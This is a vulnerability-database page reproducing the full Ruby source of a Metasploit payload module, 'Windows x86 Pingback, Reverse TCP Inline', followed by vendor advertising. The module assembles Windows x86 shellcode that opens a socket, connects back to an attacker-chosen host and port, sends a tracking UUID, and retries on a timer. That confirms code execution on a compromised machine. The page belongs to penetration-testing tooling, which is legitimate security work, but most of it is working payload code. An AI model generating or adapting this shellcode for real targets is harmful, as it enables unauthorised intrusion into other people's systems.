Lucene search
+L

Windows x86 Pingback, Reverse TCP Inline

🗓️ 26 Jul 2019 00:42:50Reported by bwatters-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 56 Views

Windows x86 Pingback, Reverse TCP Inline module to report UUI

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  CachedSize = 307

  include Msf::Payload::Windows
  include Msf::Payload::Single
  include Msf::Payload::Pingback
  include Msf::Payload::Windows::BlockApi
  include Msf::Payload::Pingback::Options
  include Msf::Payload::Windows::Exitfunk

  def initialize(info = {})
    super(
      merge_info(
        info,
        'Name' => 'Windows x86 Pingback, Reverse TCP Inline',
        'Description' => 'Connect back to attacker and report UUID (Windows x86)',
        'Author' => [ 'bwatters-r7' ],
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => ARCH_X86,
        'Handler' => Msf::Handler::ReverseTcp,
        'Session' => Msf::Sessions::Pingback
      )
    )

    def required_space
      # Start with our cached default generated size
      space = cached_size

      # EXITFUNK 'seh' is the worst case, that adds 15 bytes
      space += 15

      space
    end

    def generate(_opts = {})
      encoded_port = [datastore['LPORT'].to_i, 2].pack('vn').unpack1('N')
      encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || '127.127.127.127').unpack1('V')
      retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max
      pingback_count = datastore['PingbackRetries']
      pingback_sleep = datastore['PingbackSleep']
      self.pingback_uuid ||= generate_pingback_uuid
      uuid_as_db = '0x' + self.pingback_uuid.chars.each_slice(2).map(&:join).join(',0x')
      conf = { exitfunk: datastore['EXITFUNC'] }

      asm = %^
        cld                    ; Clear the direction flag.
        call start             ; Call start, this pushes the address of 'api_call' onto the stack.
        #{asm_block_api}
        start:
          pop ebp
        ; Input: EBP must be the address of 'api_call'.
        ; Output: EDI will be the socket for the connection to the server
        ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
        reverse_tcp:
          push '32'               ; Push the bytes 'ws2_32',0,0 onto the stack.
          push 'ws2_'             ; ...
          push esp                ; Push a pointer to the "ws2_32" string on the stack.
          push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
          mov eax, ebp
          call eax                ; LoadLibraryA( "ws2_32" )

          mov eax, 0x0190         ; EAX = sizeof( struct WSAData )
          sub esp, eax            ; alloc some space for the WSAData structure
          push esp                ; push a pointer to this struct
          push eax                ; push the wVersionRequested parameter
          push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
          call ebp                ; WSAStartup( 0x0190, &WSAData );

        set_address:
          push #{pingback_count}     ; retry counter
          push #{retry_count}     ; retry counter
          push #{encoded_host}    ; host in little-endian format
          push #{encoded_port}    ; family AF_INET and port number
          mov esi, esp            ; save pointer to sockaddr struct

        create_socket:
          push eax                ; if we succeed, eax will be zero, push zero for the flags param.
          push eax                ; push null for reserved parameter
          push eax                ; we do not specify a WSAPROTOCOL_INFO structure
          push eax                ; we do not specify a protocol
          inc eax                 ;
          push eax                ; push SOCK_STREAM
          inc eax                 ;
          push eax                ; push AF_INET
          push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
          call ebp                ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
          xchg edi, eax           ; save the socket for later, don't care about the value of eax after this

        try_connect:
          push 16                 ; length of the sockaddr struct
          push esi                ; pointer to the sockaddr struct
          push edi                ; the socket
          push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
          call ebp                ; connect( s, &sockaddr, 16 );

          test eax,eax            ; non-zero means a failure
          jz connected

        handle_connect_failure:
          ; decrement our attempt count and try again
          dec dword [esi+8]
          jnz try_connect
        failure:
          call exitfunk
          ; this  label is required so that reconnect attempts include
          ; the UUID stuff if required.
        connected:
        send_pingback:
          push 0                 ; flags
          push #{uuid_as_db.split(',').length} ; length of the PINGBACK UUID
          call get_pingback_address  ; put pingback_uuid buffer on the stack
          db #{uuid_as_db}  ; PINGBACK_UUID
        get_pingback_address:
          push edi               ; saved socket
          push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
          call ebp               ; call send

        cleanup_socket:
          ; clear up the socket
          push edi                ; socket handle
          push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
          call ebp                ; closesocket(socket)
        ^
      if pingback_count > 0
        asm << %^
          mov eax, [esi+12]
          test eax, eax               ; pingback counter
          jz exitfunk
          dec [esi+12]
          sleep:
            push #{(pingback_sleep * 1000)}
            push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
            call ebp                  ;sleep(pingback_sleep * 1000)
            jmp create_socket
        ^
      end
      asm << %(
          ; restore the stack back to the connection retry count
          dec [esi+8]               ; decrement the retry counter
          jmp exitfunk
          ; try again
          jnz create_socket
          jmp failure
      )
      if conf[:exitfunk]
        asm << asm_exitfunk(conf)
      end
      Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation